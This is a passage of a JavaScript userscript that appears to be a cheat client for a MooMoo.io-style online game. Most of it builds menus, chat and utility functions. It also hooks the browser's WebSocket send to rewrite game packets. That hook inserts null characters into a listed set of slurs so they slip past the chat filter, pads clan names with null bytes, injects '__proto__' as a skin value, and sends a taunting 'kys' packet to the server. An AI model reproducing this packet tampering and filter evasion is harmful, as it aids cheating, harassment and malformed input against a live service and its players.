  1171. option: {
  1172. "Dagger Musket": {
  1173. id: "dm",
  1174. selected: true
  1175. },
  1176. "Katana Hammer": {
  1177. id: "kh",
  1178. },
  1179. "Dagger Repeater-Crossbow": {
  1180. id: "dr"
  1181. },
  1182. "Zhort-Zword Muzket": {
  1183. id: "zd"
  1184. }
  1185. }
  1186. });
  1187. html.newLine(2);
  1188. html.add(`Cross World: `);
  1189. html.checkBox({
  1190. id: "funni",
  1191. class: "checkB"
  1192. });
  1193. html.newLine();
  1194. html.button({
  1195. class: "menuB",
  1196. innerHTML: "Toggle Another Visual",
  1197. onclick: "window.toggleVisual()"
  1198. });
  1199. html.newLine();
  1200. });
  1201. });
  1202.  
  1203. let menuChatDiv = document.createElement("div");
  1204. menuChatDiv.id = "menuChatDiv";
  1205. document.body.appendChild(menuChatDiv);
  1206. HTML.set("menuChatDiv");
  1207. HTML.setStyle(`
  1208. position: absolute;
  1209. display: none;
  1210. left: 165px;
  1211. top: 405px;
  1212. // box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.65);
  1213. `);
  1214. HTML.resetHTML();
  1215. HTML.setCSS(`
  1216. .chDiv {
  1217. color: #fff;
  1218. padding: 10px;
  1219. height: 217px;
  1220. background-color: rgba(0, 0, 0, 0);
  1221. font-family: "HammerSmith One", monospace;
  1222. // border-radius: 15px;
  1223. // box-shadow: black 1px 2px 19px;
  1224. //backdrop-filter: blur(3px);
  1225.  
  1226. }
  1227. .chMainDiv {
  1228. font-family: "Ubuntu";
  1229. font-size: 16px;
  1230. max-height: 215px;
  1231. overflow-y: scroll;
  1232. scrollbar-width: thin;
  1233. scrollbar-color: rgba(0, 0, 0, 0) rgba(0, 0, 0, 0);
  1234. -webkit-touch-callout: none;
  1235. -webkit-user-select: none;
  1236. -khtml-user-select: none;
  1237. -moz-user-select: none;
  1238. -ms-user-select: none;
  1239. user-select: none;
  1240. overflow-x: hidden;
  1241. }
  1242. .chMainDiv::-webkit-scrollbar {
  1243. width: 8px;
  1244. }
  1245. .chMainDiv::-webkit-scrollbar-thumb {
  1246. background-color: rgba(0, 0, 0, 0.5);
  1247. }
  1248. .chMainDiv::-webkit-scrollbar-thumb:hover {
  1249. background-color: rgba(0, 0, 0, 0.7);
  1250. }
  1251. .chMainBox {
  1252. display:none;
  1253. position: absolute;
  1254. left: 10px;
  1255. bottom: 10px;
  1256. width: 380px;
  1257. height: 25px;
  1258. background-color: rgba(255, 255, 255, 0);
  1259. border-radius: 5px;
  1260. color: rgba(255, 255, 255, 0.75);
  1261. font-family: "HammerSmith One";
  1262. font-size: 12px;
  1263. }
  1264. `);
  1265. HTML.startDiv({
  1266. id: "mChDiv",
  1267. class: "chDiv"
  1268. }, (html) => {
  1269. HTML.addDiv({
  1270. id: "mChMain",
  1271. class: "chMainDiv",
  1272. appendID: "mChDiv"
  1273. }, (html) => {});
  1274. html.text({
  1275. id: "mChBox",
  1276. class: "chMainBox",
  1277. // placeHolder: `To chat click here or press "Enter" key`
  1278. });
  1279. });
  1280.  
  1281. let menuChats = getEl("mChMain");
  1282. let menuChatBox = getEl("mChBox");
  1283. let menuCBFocus = false;
  1284. let menuChCounts = 0;
  1285.  
  1286. menuChatBox.value = "";
  1287. menuChatBox.addEventListener("focus", () => {
  1288. menuCBFocus = true;
  1289. });
  1290. menuChatBox.addEventListener("blur", () => {
  1291. menuCBFocus = false;
  1292. });
  1293.  
  1294. function addMenuChText(name, message, color, noTimer) {
  1295. HTML.set("menuChatDiv");
  1296. color = color || "white";
  1297. let time = new Date();
  1298. let min = time.getMinutes();
  1299. let hour = time.getHours();
  1300. let text = ``;
  1301. if (!noTimer) text += `${(hour < 10 ? '0' : '') + hour}:${(min < 10 ? '0' : '') + min}`;
  1302. if (name) text += `${(!noTimer ? " - " : "") + name}`;
  1303. if (message) text += `${(name ? ": " : !noTimer ? " - " : "") + message}\n`;
  1304. text = `<plaintext>${text}`;
  1305. HTML.addDiv({ id: "menuChDisp", style: `color: ${color}`, appendID: "mChMain" }, (html) => {
  1306. html.add(text);
  1307. });
  1308. menuChats.scrollTop = menuChats.scrollHeight;
  1309. menuChCounts++;
  1310. }
  1311. function chch(name, message, color, noTimer) {
  1312. HTML.set("menuChatDiv");
  1313. color = color || "white";
  1314. let time = new Date();
  1315. let text = ``;
  1316. // if (name) text += `${(!noTimer ? " - " : "") + name}`;
  1317. if (message) text += `${(name ? ": " : !noTimer ? "" : "") + message}\n`;
  1318. HTML.addDiv({ id: "menuChDisp", style: `color: ${color}`, appendID: "mChMain" }, (html) => {
  1319. html.add(text);
  1320. });
  1321. menuChats.scrollTop = menuChats.scrollHeight;
  1322. menuChCounts++;
  1323. }
  1324.  
  1325. function resetMenuChText() {
  1326. menuChats.innerHTML = ``;
  1327. menuChCounts = 0;
  1328. addMenuChText(null, "", "white", 1) // chat history
  1329. }
  1330. resetMenuChText();
  1331.  
  1332. let menuIndex = 0;
  1333. let menus = ["menuMain", "menuConfig", "menuOther"];
  1334. window.changeMenu = function() {
  1335. getEl(menus[menuIndex % menus.length]).style.display = "none";
  1336. menuIndex++;
  1337. getEl(menus[menuIndex % menus.length]).style.display = "block";
  1338. };
  1339.  
  1340. let mStatus = document.createElement("div");
  1341. mStatus.id = "status";
  1342. getEl("gameUI").appendChild(mStatus);
  1343. HTML.set("status");
  1344. HTML.setStyle(`
  1345. display: block;
  1346. position: absolute;
  1347. color: #ddd;
  1348. font: 15px Hammersmith One;
  1349. bottom: 215px;
  1350. left: 20px;
  1351. `);
  1352. HTML.resetHTML();
  1353. HTML.setCSS(`
  1354. .sizing {
  1355. font-size: 15px;
  1356. }
  1357. .mod {
  1358. font-size: 15px;
  1359. display: inline-block;
  1360. }
  1361. `);
  1362. HTML.startDiv({
  1363. id: "uehmod",
  1364. class: "sizing"
  1365. }, (html) => {
  1366. html.add(`Ping: `);
  1367. HTML.addDiv({
  1368. id: "pingFps",
  1369. class: "mod",
  1370. appendID: "uehmod"
  1371. }, (html) => {
  1372. html.add("None");
  1373. });
  1374. html.newLine();
  1375. html.add(`Packet: `);
  1376. HTML.addDiv({
  1377. id: "packetStatus",
  1378. class: "mod",
  1379. appendID: "uehmod"
  1380. }, (html) => {
  1381. html.add("None");
  1382. });
  1383. });
  1384.  
  1385. /*function modLog() {
  1386. let logs = [];
  1387. for (let i = 0; i < arguments.length; i++) {
  1388. logs.push(arguments[i]);
  1389. }
  1390. getEl("modLog").innerHTML = logs;
  1391. }*/
  1392.  
  1393. let openMenu = false;
  1394.  
  1395. let WS = undefined;
  1396. let socketID = undefined;
  1397.  
  1398. let useWasd = false;
  1399. let secPacket = 0;
  1400. let secMax = 120;
  1401. let secTime = 1000;
  1402. let firstSend = {
  1403. sec: false
  1404. };
  1405. let game = {
  1406. tick: 0,
  1407. tickQueue: [],
  1408. tickBase: function(set, tick) {
  1409. if (this.tickQueue[this.tick + tick]) {
  1410. this.tickQueue[this.tick + tick].push(set);
  1411. } else {
  1412. this.tickQueue[this.tick + tick] = [set];
  1413. }
  1414. },
  1415. tickRate: (1000 / config.serverUpdateRate),
  1416. tickSpeed: 0,
  1417. lastTick: performance.now()
  1418. };
  1419. let modConsole = [];
  1420.  
  1421. let dontSend = false;
  1422. let fpsTimer = {
  1423. last: 0,
  1424. time: 0,
  1425. ltime: 0
  1426. }
  1427. let lastMoveDir = undefined;
  1428. let lastsp = ["cc", 1, "__proto__"];
  1429.  
  1430. WebSocket.prototype.nsend = WebSocket.prototype.send;
  1431. WebSocket.prototype.send = function(message) {
  1432. if (!WS) {
  1433. WS = this;
  1434. WS.addEventListener("message", function(msg) {
  1435. getMessage(msg);
  1436. });
  1437. WS.addEventListener("close", (event) => {
  1438. if (event.code == 4001) {
  1439. window.location.reload();
  1440. }
  1441. });
  1442. }
  1443. if (WS == this) {
  1444. dontSend = false;
  1445.  
  1446. // EXTRACT DATA ARRAY:
  1447. let data = new Uint8Array(message);
  1448. let parsed = window.msgpack.decode(data);
  1449. let type = parsed[0];
  1450. data = parsed[1];
  1451.  
  1452. // SEND MESSAGE:
  1453. if (type == "6") {
  1454.  
  1455. if (data[0]) {
  1456. // ANTI PROFANITY:
  1457. let profanity = ["cunt", "whore", "fuck", "shit", "faggot", "nigger", "nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis", "clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn", "bitch", "dick", "fag", "bastard", ];
  1458. let tmpString;
  1459. profanity.forEach((profany) => {
  1460. if (data[0].indexOf(profany) > -1) {
  1461. tmpString = "";
  1462. for (let i = 0; i < profany.length; ++i) {
  1463. if (i == 1) {
  1464. tmpString += String.fromCharCode(0);
  1465. }
  1466. tmpString += profany[i];
  1467. }
  1468. let re = new RegExp(profany, "g");
  1469. data[0] = data[0].replace(re, tmpString);
  1470. }
  1471. });
  1472.  
  1473. // FIX CHAT:
  1474. data[0] = data[0].slice(0, 30);
  1475. }
  1476.  
  1477. } else if (type == "L") {
  1478. // MAKE SAME CLAN:
  1479. data[0] = data[0] + (String.fromCharCode(0).repeat(7));
  1480. data[0] = data[0].slice(0, 7);
  1481. } else if (type == "M") {
  1482. // APPLY CYAN COLOR:
  1483. data[0].name = data[0].name == "" ? "Botss" : data[0].name;
  1484. data[0].moofoll = true;
  1485. data[0].skin = data[0].skin == 10 ? "__proto__" : data[0].skin;
  1486. lastsp = [data[0].name, data[0].moofoll, data[0].skin];
  1487. } else if (type == "D") {
  1488. if ((my.lastDir == data[0]) || [null, undefined].includes(data[0])) {
  1489. dontSend = true;
  1490. } else {
  1491. my.lastDir = data[0];
  1492. }
  1493. } else if (type == "d") {
  1494. if (!data[2]) {
  1495. dontSend = true;
  1496. } else {
  1497. if (![null, undefined].includes(data[1])) {
  1498. my.lastDir = data[1];
  1499. }
  1500. }
  1501. } else if (type == "K") {
  1502. if (!data[1]) {
  1503. dontSend = true;
  1504. }
  1505. } else if (type == "S") {
  1506. instaC.wait = !instaC.wait;
  1507. dontSend = true;
  1508. } else if (type == "a") {
  1509. if (data[1]) {
  1510. if (player.moveDir == data[0]) {
  1511. dontSend = true;
  1512. }
  1513. player.moveDir = data[0];
  1514. } else {
  1515. dontSend = true;
  1516. }
  1517. }
  1518. if (!dontSend) {
  1519. let binary = window.msgpack.encode([type, data]);
  1520. this.nsend(binary);
  1521.  
  1522. // START COUNT:
  1523. if (!firstSend.sec) {
  1524. firstSend.sec = true;
  1525. setTimeout(() => {
  1526. firstSend.sec = false;
  1527. secPacket = 0;
  1528. }, secTime);
  1529. }
  1530.  
  1531. if (secPacket == 100) {
  1532. addMenuChText("Warn", "Sending Too Many Packets", "#cc5151", 1);
  1533. }
  1534.  
  1535.  
  1536.  
  1537. secPacket++;
  1538. }
  1539. } else {
  1540. this.nsend(message);
  1541. }
  1542. }
  1543.  
  1544. function packet(type) {
  1545. // EXTRACT DATA ARRAY:
  1546. let data = Array.prototype.slice.call(arguments, 1);
  1547.  
  1548. // SEND MESSAGE:
  1549. let binary = window.msgpack.encode([type, data]);
  1550. WS.send(binary);
  1551. }
  1552.  
  1553. function origPacket(type) {
  1554. // EXTRACT DATA ARRAY:
  1555. let data = Array.prototype.slice.call(arguments, 1);
  1556.  
  1557. // SEND MESSAGE:
  1558. let binary = window.msgpack.encode([type, data]);
  1559. WS.nsend(binary);
  1560. }
  1561.  
  1562. window.leave = function() {
  1563. origPacket("kys", {
  1564. "frvr is so bad": true,
  1565. "sidney is too good": true,
  1566. "dev are too weak": true,
  1567. });
  1568. };
  1569.  
  1570. //...lol
  1571. let io = {
  1572. send: packet
  1573. };
  1574.  
  1575. function getMessage(message) {
  1576. let data = new Uint8Array(message.data);
  1577. let parsed = window.msgpack.decode(data);
  1578. let type = parsed[0];
  1579. data = parsed[1];
  1580. let events = {
  1581. A: setInitData, // id: setInitData,
  1582. //B: disconnect,
  1583. C: setupGame, // 1: setupGame,
  1584. D: addPlayer, // 2: addPlayer,
  1585. E: removePlayer, // 4: removePlayer,
  1586. a: updatePlayers, // 33: updatePlayers,
  1587. G: updateLeaderboard, // 5: updateLeaderboard,here
  1588. H: loadGameObject, // 6: loadGameObject,
  1589. I: loadAI, // a: loadAI,
  1590. J: animateAI, // aa: animateAI,
  1591. K: gatherAnimation, // 7: gatherAnimation,
  1592. L: wiggleGameObject, // 8: wiggleGameObject,
  1593. M: shootTurret, // sp: shootTurret,
  1594. N: updatePlayerValue, // 9: updatePlayerValue,
  1595. O: updateHealth, // h: updateHealth,//here
  1596. P: killPlayer, // 11: killPlayer,
  1597. Q: killObject, // 12: killObject,
  1598. R: killObjects, // 13: killObjects,
  1599. S: updateItemCounts, // 14: updateItemCounts,
  1600. T: updateAge, // 15: updateAge,
  1601. U: updateUpgrades, // 16: updateUpgrades,
  1602. V: updateItems, // 17: updateItems,
  1603. X: addProjectile, // 18: addProjectile,
  1604. // Y: remProjectile, // 19: remProjectile,
  1605. //Z: serverShutdownNotice,
  1606. //0: addAlliance,
  1607. //1: deleteAlliance,
  1608. 2: allianceNotification, // an: allianceNotification,
  1609. 3: setPlayerTeam, // st: setPlayerTeam,
  1610. 4: setAlliancePlayers, // sa: setAlliancePlayers,
  1611. 5: updateStoreItems, // us: updateStoreItems,
  1612. 6: receiveChat, // ch: receiveChat,
  1613. 7: updateMinimap, // mm: updateMinimap,
  1614. 8: showText, // t: showText,
  1615. 9: pingMap, // p: pingMap,
  1616. 0: pingSocketResponse,
  1617. };
  1618. if (type == "io-init") {
  1619. socketID = data[0];
  1620. } else {
  1621. if (events[type]) {
  1622. events[type].apply(undefined, data);
  1623. }
  1624. }
  1625. }
  1626.  
  1627. // MATHS:
  1628. Math.lerpAngle = function(value1, value2, amount) {
  1629. let difference = Math.abs(value2 - value1);
  1630. if (difference > Math.PI) {
  1631. if (value1 > value2) {
  1632. value2 += Math.PI * 2;
  1633. } else {
  1634. value1 += Math.PI * 2;
  1635. }
  1636. }
  1637. let value = value2 + ((value1 - value2) * amount);
  1638. if (value >= 0 && value <= Math.PI * 2) return value;
  1639. return value % (Math.PI * 2);
  1640. };
  1641.  
  1642. // REOUNDED RECTANGLE:
  1643. CanvasRenderingContext2D.prototype.roundRect = function(x, y, w, h, r) {
  1644. if (w < 2 * r) r = w / 2;
  1645. if (h < 2 * r) r = h / 2;
  1646. if (r < 0)
  1647. r = 0;
  1648. this.beginPath();
  1649. this.moveTo(x + r, y);
  1650. this.arcTo(x + w, y, x + w, y + h, r);
  1651. this.arcTo(x + w, y + h, x, y + h, r);
  1652. this.arcTo(x, y + h, x, y, r);
  1653. this.arcTo(x, y, x + w, y, r);
  1654. this.closePath();
  1655. return this;
  1656. };
  1657.  
  1658. // GLOBAL VALUES:
  1659. function resetMoveDir() {
  1660. keys = {};
  1661. io.send("e");
  1662. }
  1663.  
  1664. let allChats = [];
  1665. let ticks = {
  1666. tick: 0,
  1667. delay: 0,
  1668. time: [],
  1669. manage: [],
  1670. };
  1671. let ais = [];
  1672. let players = [];
  1673. let alliances = [];
  1674. let alliancePlayers = [];
  1675. let allianceNotifications = [];
  1676. let gameObjects = [];
  1677. let liztobj = [];
  1678. let projectiles = [];
  1679. let deadPlayers = [];
  1680.  
  1681. let breakObjects = [];
  1682.  
  1683. let player;
  1684. let playerSID;
  1685. let tmpObj;
  1686.  
  1687. let enemy = [];
  1688. let nears = [];
  1689. let near = [];
  1690.  
  1691. let my = {
  1692. reloaded: false,
  1693. waitHit: 0,
  1694. autoAim: false,
  1695. revAim: false,
  1696. ageInsta: true,
  1697. reSync: false,
  1698. bullTick: 0,
  1699. anti0Tick: 0,
  1700. antiSync: false,
  1701. safePrimary: function(tmpObj) {
  1702. return [0, 8].includes(tmpObj.primaryIndex);
  1703. },
  1704. safeSecondary: function(tmpObj) {
  1705. return [10, 11, 14].includes(tmpObj.secondaryIndex);
  1706. },
  1707. lastDir: 0,
  1708. autoPush: false,
  1709. pushData: {}
  1710. }
  1711.  
  1712. // FIND OBJECTS BY ID/SID:
  1713. function findID(tmpObj, tmp) {
  1714. return tmpObj.find((THIS) => THIS.id == tmp);
  1715. }
  1716.  
  1717. function findSID(tmpObj, tmp) {
  1718. return tmpObj.find((THIS) => THIS.sid == tmp);
  1719. }
  1720.  
  1721. function findPlayerByID(id) {
  1722. return findID(players, id);
  1723. }
  1724.  
  1725. function findPlayerBySID(sid) {
  1726. return findSID(players, sid);
  1727. }
  1728.  
  1729. function findAIBySID(sid) {
  1730. return findSID(ais, sid);
  1731. }
  1732.  
  1733. function findObjectBySid(sid) {
  1734. return findSID(gameObjects, sid);
  1735. }
  1736.  
  1737. function findProjectileBySid(sid) {
  1738. return findSID(gameObjects, sid);
  1739. }
  1740.  
  1741. let adCard = getEl("adCard");
  1742. adCard.remove();
  1743. let promoImageHolder = getEl("promoImgHolder");
  1744. promoImageHolder.remove();
  1745.  
  1746. let chatButton = getEl("chatButton");
  1747. chatButton.remove();
  1748. let gameCanvas = getEl("gameCanvas");
  1749. let mainContext = gameCanvas.getContext("2d");
  1750. let mapDisplay = getEl("mapDisplay");
  1751. let mapContext = mapDisplay.getContext("2d");
  1752. mapDisplay.width = 300;
  1753. mapDisplay.height = 300;
  1754. let storeMenu = getEl("storeMenu");
  1755. let storeHolder = getEl("storeHolder");
  1756. let upgradeHolder = getEl("upgradeHolder");
  1757. let upgradeCounter = getEl("upgradeCounter");
  1758. let chatBox = getEl("chatBox");
  1759. chatBox.autocomplete = "off";
  1760. chatBox.style.textAlign = "center";
  1761. chatBox.style.width = "18em";
  1762. let chatHolder = getEl("chatHolder");
  1763. let actionBar = getEl("actionBar");
  1764. let leaderboardData = getEl("leaderboardData");
  1765. let itemInfoHolder = getEl("itemInfoHolder");
  1766. let menuCardHolder = getEl("menuCardHolder");
  1767. let mainMenu = getEl("mainMenu");
  1768. let diedText = getEl("diedText");
  1769. let screenWidth;
  1770. let screenHeight;
  1771. let maxScreenWidth = config.maxScreenWidth;
  1772. let maxScreenHeight = config.maxScreenHeight;
  1773. let pixelDensity = 1;
  1774. let delta;
  1775. let now;
  1776. let lastUpdate = performance.now();
  1777. let camX;
  1778. let camY;
  1779. let tmpDir;
  1780. let mouseX = 0;
  1781. let mouseY = 0;
  1782. let allianceMenu = getEl("allianceMenu");
  1783. let waterMult = 1;
  1784. let waterPlus = 0;
  1785.  
  1786. let outlineColor = "#525252";
  1787. let darkOutlineColor = "#3d3f42";
  1788. let outlineWidth = 5.5;
  1789.  
  1790. let firstSetup = true;
  1791. let keys = {};
  1792. let moveKeys = {
  1793. 87: [0, -1],
  1794. 38: [0, -1],
  1795. 83: [0, 1],
  1796. 40: [0, 1],
  1797. 65: [-1, 0],
  1798. 37: [-1, 0],
  1799. 68: [1, 0],
  1800. 39: [1, 0],
  1801. };
  1802. let attackState = 0;
  1803. let inGame = false;
  1804.  
  1805. let macro = {};
  1806. let mills = {
  1807. place: 0,
  1808. placeSpawnPads: 0
  1809. };
  1810. let lastDir;
  1811.  
  1812. let lastLeaderboardData = [];
  1813.  
  1814. // ON LOAD:
  1815. let inWindow = true;
  1816. window.onblur = function() {
  1817. inWindow = false;
  1818. };
  1819. window.onfocus = function() {
  1820. inWindow = true;
  1821. if (player && player.alive) {
  1822. // resetMoveDir();
  1823. }
  1824. };
  1825. let ms = {
  1826. avg: 0,
  1827. max: 0,
  1828. min: 0,
  1829. delay: 0
  1830. }
  1831. function pingSocketResponse() {
  1832. let pingTime = window.pingTime;
  1833. const pingDisplay = document.getElementById("pingDisplay")
  1834. pingDisplay.innerText = "";
  1835. if (pingTime > ms.max || isNaN(ms.max)) {
  1836. ms.max = pingTime;
  1837. }
  1838. if (pingTime < ms.min || isNaN(ms.min)) {
  1839. ms.min = pingTime;
  1840. }
  1841.  
  1842. // if (pingTime >= 90) {
  1843. // doAutoQ = true;
  1844. // } else {
  1845. // doAutoQ = false;
  1846. // }
  1847. }
  1848.  
  1849. let placeVisible = [];
  1850.  
  1851. /** CLASS CODES */
  1852.  
  1853. class Utils {
  1854. constructor() {
  1855.  
  1856. // MATH UTILS:
  1857. let mathABS = Math.abs,
  1858. mathCOS = Math.cos,
  1859. mathSIN = Math.sin,
  1860. mathPOW = Math.pow,
  1861. mathSQRT = Math.sqrt,
  1862. mathATAN2 = Math.atan2,
  1863. mathPI = Math.PI;
  1864.  
  1865. let _this = this;
  1866.  
  1867. // GLOBAL UTILS:
  1868. this.round = function(n, v) {
  1869. return Math.round(n * v) / v;
  1870. };
  1871. this.toRad = function(angle) {
  1872. return angle * (mathPI / 180);
  1873. };
  1874. this.toAng = function(radian) {
  1875. return radian / (mathPI / 180);
  1876. };
  1877. this.randInt = function(min, max) {
  1878. return Math.floor(Math.random() * (max - min + 1)) + min;
  1879. };
  1880. this.randFloat = function(min, max) {
  1881. return Math.random() * (max - min + 1) + min;
  1882. };
  1883. this.lerp = function(value1, value2, amount) {
  1884. return value1 + (value2 - value1) * amount;
  1885. };
  1886. this.decel = function(val, cel) {
  1887. if (val > 0)
  1888. val = Math.max(0, val - cel);
  1889. else if (val < 0)
  1890. val = Math.min(0, val + cel);
  1891. return val;
  1892. };
  1893. this.getDistance = function(x1, y1, x2, y2) {
  1894. return mathSQRT((x2 -= x1) * x2 + (y2 -= y1) * y2);
  1895. };
  1896. this.getDist = function(tmp1, tmp2, type1, type2) {
  1897. let tmpXY1 = {
  1898. x: type1 == 0 ? tmp1.x : type1 == 1 ? tmp1.x1 : type1 == 2 ? tmp1.x2 : type1 == 3 && tmp1.x3,
  1899. y: type1 == 0 ? tmp1.y : type1 == 1 ? tmp1.y1 : type1 == 2 ? tmp1.y2 : type1 == 3 && tmp1.y3,
  1900. };
  1901. let tmpXY2 = {
  1902. x: type2 == 0 ? tmp2.x : type2 == 1 ? tmp2.x1 : type2 == 2 ? tmp2.x2 : type2 == 3 && tmp2.x3,
  1903. y: type2 == 0 ? tmp2.y : type2 == 1 ? tmp2.y1 : type2 == 2 ? tmp2.y2 : type2 == 3 && tmp2.y3,
  1904. };
  1905. return mathSQRT((tmpXY2.x -= tmpXY1.x) * tmpXY2.x + (tmpXY2.y -= tmpXY1.y) * tmpXY2.y);
  1906. };
  1907. this.getDirection = function(x1, y1, x2, y2) {
  1908. return mathATAN2(y1 - y2, x1 - x2);
  1909. };
  1910. this.getDirect = function(tmp1, tmp2, type1, type2) {
  1911. let tmpXY1 = {
  1912. x: type1 == 0 ? tmp1.x : type1 == 1 ? tmp1.x1 : type1 == 2 ? tmp1.x2 : type1 == 3 && tmp1.x3,
  1913. y: type1 == 0 ? tmp1.y : type1 == 1 ? tmp1.y1 : type1 == 2 ? tmp1.y2 : type1 == 3 && tmp1.y3,
  1914. };
  1915. let tmpXY2 = {
  1916. x: type2 == 0 ? tmp2.x : type2 == 1 ? tmp2.x1 : type2 == 2 ? tmp2.x2 : type2 == 3 && tmp2.x3,
  1917. y: type2 == 0 ? tmp2.y : type2 == 1 ? tmp2.y1 : type2 == 2 ? tmp2.y2 : type2 == 3 && tmp2.y3,
  1918. };
  1919. return mathATAN2(tmpXY1.y - tmpXY2.y, tmpXY1.x - tmpXY2.x);
  1920. };
  1921. this.getAngleDist = function(a, b) {
  1922. let p = mathABS(b - a) % (mathPI * 2);
  1923. return (p > mathPI ? (mathPI * 2) - p : p);
  1924. };
  1925. this.isNumber = function(n) {
  1926. return (typeof n == "number" && !isNaN(n) && isFinite(n));
  1927. };
  1928. this.isString = function(s) {
  1929. return (s && typeof s == "string");
  1930. };
  1931. this.kFormat = function(num) {
  1932. return num > 999 ? (num / 1000).toFixed(1) + "k" : num;
  1933. };
  1934. this.sFormat = function(num) {
  1935. let fixs = [{
  1936. num: 1e3,
  1937. string: "k"
  1938. },
  1939. {
  1940. num: 1e6,
  1941. string: "m"
  1942. },
  1943. {
  1944. num: 1e9,
  1945. string: "b"
  1946. },
  1947. {
  1948. num: 1e12,
  1949. string: "q"
  1950. }
  1951. ].reverse();
  1952. let sp = fixs.find(v => num >= v.num);
  1953. if (!sp) return num;
  1954. return (num / sp.num).toFixed(1) + sp.string;
  1955. };
  1956. this.capitalizeFirst = function(string) {
  1957. return string.charAt(0).toUpperCase() + string.slice(1);
  1958. };
  1959. this.fixTo = function(n, v) {
  1960. return parseFloat(n.toFixed(v));
  1961. };
  1962. this.sortByPoints = function(a, b) {
  1963. return parseFloat(b.points) - parseFloat(a.points);
  1964. };
  1965. this.lineInRect = function(recX, recY, recX2, recY2, x1, y1, x2, y2) {
  1966. let minX = x1;
  1967. let maxX = x2;
  1968. if (x1 > x2) {
  1969. minX = x2;
  1970. maxX = x1;
  1971. }
  1972. if (maxX > recX2)
  1973. maxX = recX2;
  1974. if (minX < recX)
  1975. minX = recX;
  1976. if (minX > maxX)
  1977. return false;
  1978. let minY = y1;
  1979. let maxY = y2;
  1980. let dx = x2 - x1;
  1981. if (Math.abs(dx) > 0.0000001) {
  1982. let a = (y2 - y1) / dx;
  1983. let b = y1 - a * x1;
  1984. minY = a * minX + b;
  1985. maxY = a * maxX + b;
  1986. }
  1987. if (minY > maxY) {
  1988. let tmp = maxY;
  1989. maxY = minY;
  1990. minY = tmp;
  1991. }
  1992. if (maxY > recY2)
  1993. maxY = recY2;
  1994. if (minY < recY)
  1995. minY = recY;
  1996. if (minY > maxY)
  1997. return false;
  1998. return true;
  1999. };
  2000. this.containsPoint = function(element, x, y) {
  2001. let bounds = element.getBoundingClientRect();
  2002. let left = bounds.left + window.scrollX;
  2003. let top = bounds.top + window.scrollY;
  2004. let width = bounds.width;
  2005. let height = bounds.height;
  2006.  
  2007. let insideHorizontal = x > left && x < left + width;
  2008. let insideVertical = y > top && y < top + height;
  2009. return insideHorizontal && insideVertical;
  2010. };
  2011. this.mousifyTouchEvent = function(event) {
  2012. let touch = event.changedTouches[0];
  2013. event.screenX = touch.screenX;
  2014. event.screenY = touch.screenY;
  2015. event.clientX = touch.clientX;
  2016. event.clientY = touch.clientY;
  2017. event.pageX = touch.pageX;
  2018. event.pageY = touch.pageY;
  2019. };
  2020. this.hookTouchEvents = function(element, skipPrevent) {
  2021. let preventDefault = !skipPrevent;
  2022. let isHovering = false;
  2023. // let passive = window.Modernizr.passiveeventlisteners ? {passive: true} : false;
  2024. let passive = false;
  2025. element.addEventListener("touchstart", this.checkTrusted(touchStart), passive);
  2026. element.addEventListener("touchmove", this.checkTrusted(touchMove), passive);
  2027. element.addEventListener("touchend", this.checkTrusted(touchEnd), passive);
  2028. element.addEventListener("touchcancel", this.checkTrusted(touchEnd), passive);
  2029. element.addEventListener("touchleave", this.checkTrusted(touchEnd), passive);
  2030.  
  2031. function touchStart(e) {
  2032. _this.mousifyTouchEvent(e);
  2033. window.setUsingTouch(true);
  2034. if (preventDefault) {
  2035. e.preventDefault();
  2036. e.stopPropagation();
  2037. }
  2038. if (element.onmouseover)
  2039. element.onmouseover(e);
  2040. isHovering = true;
  2041. }
  2042.  
  2043. function touchMove(e) {
  2044. _this.mousifyTouchEvent(e);
  2045. window.setUsingTouch(true);
  2046. if (preventDefault) {
  2047. e.preventDefault();
  2048. e.stopPropagation();
  2049. }
  2050. if (_this.containsPoint(element, e.pageX, e.pageY)) {
  2051. if (!isHovering) {
  2052. if (element.onmouseover)
  2053. element.onmouseover(e);
  2054. isHovering = true;
  2055. }
  2056. } else {
  2057. if (isHovering) {
  2058. if (element.onmouseout)
  2059. element.onmouseout(e);
  2060. isHovering = false;
  2061. }
  2062. }
  2063. }
  2064.  
  2065. function touchEnd(e) {
  2066. _this.mousifyTouchEvent(e);
  2067. window.setUsingTouch(true);
  2068. if (preventDefault) {
  2069. e.preventDefault();
  2070. e.stopPropagation();
  2071. }
  2072. if (isHovering) {
  2073. if (element.onclick)
  2074. element.onclick(e);
  2075. if (element.onmouseout)
  2076. element.onmouseout(e);
  2077. isHovering = false;
  2078. }
  2079. }
  2080. };
  2081. this.removeAllChildren = function(element) {
  2082. while (element.hasChildNodes()) {
  2083. element.removeChild(element.lastChild);
  2084. }
  2085. };
  2086. this.generateElement = function(config) {
  2087. let element = document.createElement(config.tag || "div");
  2088.  
  2089. function bind(configValue, elementValue) {
  2090. if (config[configValue])
  2091. element[elementValue] = config[configValue];
  2092. }
  2093. bind("text", "textContent");
  2094. bind("html", "innerHTML");
  2095. bind("class", "className");
  2096. for (let key in config) {
  2097. switch (key) {
  2098. case "tag":
  2099. case "text":
  2100. case "html":
  2101. case "class":
  2102. case "style":
  2103. case "hookTouch":
  2104. case "parent":
  2105. case "children":
  2106. continue;
  2107. default:
  2108. break;
  2109. }
  2110. element[key] = config[key];
  2111. }
  2112. if (element.onclick)
  2113. element.onclick = this.checkTrusted(element.onclick);
  2114. if (element.onmouseover)
  2115. element.onmouseover = this.checkTrusted(element.onmouseover);
  2116. if (element.onmouseout)
  2117. element.onmouseout = this.checkTrusted(element.onmouseout);
  2118. if (config.style) {
  2119. element.style.cssText = config.style;
  2120. }
  2121. if (config.hookTouch) {
  2122. this.hookTouchEvents(element);
  2123. }
  2124. if (config.parent) {
  2125. config.parent.appendChild(element);
  2126. }
  2127. if (config.children) {
  2128. for (let i = 0; i < config.children.length; i++) {
  2129. element.appendChild(config.children[i]);
  2130. }
  2131. }
  2132. return element;
  2133. };
  2134. this.checkTrusted = function(callback) {
  2135. return function(ev) {
  2136. if (ev && ev instanceof Event && (ev && typeof ev.isTrusted == "boolean" ? ev.isTrusted : true)) {
  2137. callback(ev);
  2138. } else {
  2139. //console.error("Event is not trusted.", ev);
  2140. }
  2141. };
  2142. };
  2143. this.randomString = function(length) {
  2144. let text = "";
  2145. let possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  2146. for (let i = 0; i < length; i++) {
  2147. text += possible.charAt(Math.floor(Math.random() * possible.length));
